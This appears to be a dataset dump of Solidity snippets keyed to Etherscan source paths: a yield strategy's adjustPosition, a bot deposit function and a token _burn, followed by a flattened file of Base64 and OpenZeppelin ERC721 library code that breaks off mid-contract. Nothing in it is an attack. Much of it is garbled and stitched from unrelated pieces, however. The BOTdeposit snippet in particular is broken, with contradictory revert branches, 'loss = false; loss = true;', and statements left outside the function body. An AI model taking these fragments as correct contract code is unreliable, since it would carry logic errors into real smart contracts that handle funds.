protectedTokens() internal view override returns (address[] memory) { address[] memory protected = new address[](1); protected[0] = address(want); return protected; } }
Key logic. The algorithm moves assets from lowest return to highest like a very slow idiots bubble sort we ignore debt outstanding for an easy life/emergency exit is dealt with at beginning of harvestwe just keep all money in want if we dont have any lendersapr should go down after deposit so wont be withdrawing from self
function adjustPosition(uint256 _debtOutstanding) internal override { if (emergencyExit) { return; } if (lenders.length == 0) { return; } (uint256 lowest, uint256 lowestApr, uint256 highest, uint256 potential) = estimateAdjustPosition(); if (potential > lowestApr) { lenders[lowest].withdrawAll(); } uint256 bal = want.balanceOf(address(this)); if (bal > 0) { want.transfer(address(lenders[highest]), bal); lenders[highest].deposit(); } }
5,809,379
./partial_match/42/0x692479C4116Ac1f9E4131dc31573D1B5FbDAc4D1/sources/BotGainsProtocolStorage.sol
if the eth amount here is 0 the previous cycle pool amount can NOT be 0 as wellprevious pool cycle CANNOT BE ZERO if deposit is not zero!
function BOTdeposit() payable onlyBot isNotUnlocked external { uint256 ETHamount = msg.value; if(ETHamount == 0){ if(POOL_ON_CYCLE[currentCycle] != 0) { revert("deposit and pool funds must both be zero or both be non zero"); } if(POOL_ON_CYCLE[currentCycle] == 0){ revert("deposit and pool funds must both be zero or both be non zero"); } uint256 forManagement = profit.mul(20).div(100); uint256 ethForPool = ETHamount.sub(forManagement); loss = false; loss = true; } } timeUnlocked = now; emit BotDeposit(ETHamount, currentCycle.sub(1), loss, block.timestamp);
8,957,254
./full_match/1/0x15028Ee15791a50b0a74e0F8C86A28b86e1c3A35/sources/deploy/Contract.sol
Destroys `amount` MonteCarloInus from `account`, reducing the total supply. Emits a {Transfer} event with `to` set to the zero address. Requirements: - `account` cannot be the zero address. - `account` must have at least `amount` MonteCarloInus./
function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeMonteCarloInuTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterMonteCarloInuTransfer(account, address(0), amount); }
16,543,614
/** *Submitted for verification at Etherscan.io on 2022-03-14 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title Base64 /// @author Brecht Devos - <[email protected]> /// @notice Provides a function for encoding some bytes in base64 library Base64 { string internal constant TABLE = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'; function encode(bytes memory data) internal pure returns (string memory) { if (data.length == 0) return ''; // load the table into memory string memory table = TABLE; // multiply by 4/3 rounded up uint256 encodedLen = 4 * ((data.length + 2) / 3); // add some extra buffer at the end required for the writing string memory result = new string(encodedLen + 32); assembly { // set the actual output length mstore(result, encodedLen) // prepare the lookup table let tablePtr := add(table, 1) // input ptr let dataPtr := data let endPtr := add(dataPtr, mload(data)) // result ptr, jump over length let resultPtr := add(result, 32) // run over the input, 3 bytes at a time for {} lt(dataPtr, endPtr) {} { dataPtr := add(dataPtr, 3) // read 3 bytes let input := mload(dataPtr) // write 4 characters mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr(18, input), 0x3F))))) resultPtr := add(resultPtr, 1) mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr(12, input), 0x3F))))) resultPtr := add(resultPtr, 1) mstore(resultPtr, shl(248, mload(add(tablePtr, and(shr( 6, input), 0x3F))))) resultPtr := add(resultPtr, 1) mstore(resultPtr, shl(248, mload(add(tablePtr, and( input, 0x3F))))) resultPtr := add(resultPtr, 1) } // padding with '=' switch mod(mload(data), 3) case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) } case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) } } return result; } } // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.0 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.0 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.0 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // OpenZeppelin Contracts v4.4.1 (security/Pausable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts v4.4.0 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.0 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.0 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol // OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol // OpenZeppelin Contracts v4.4.0 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol // OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/ERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. 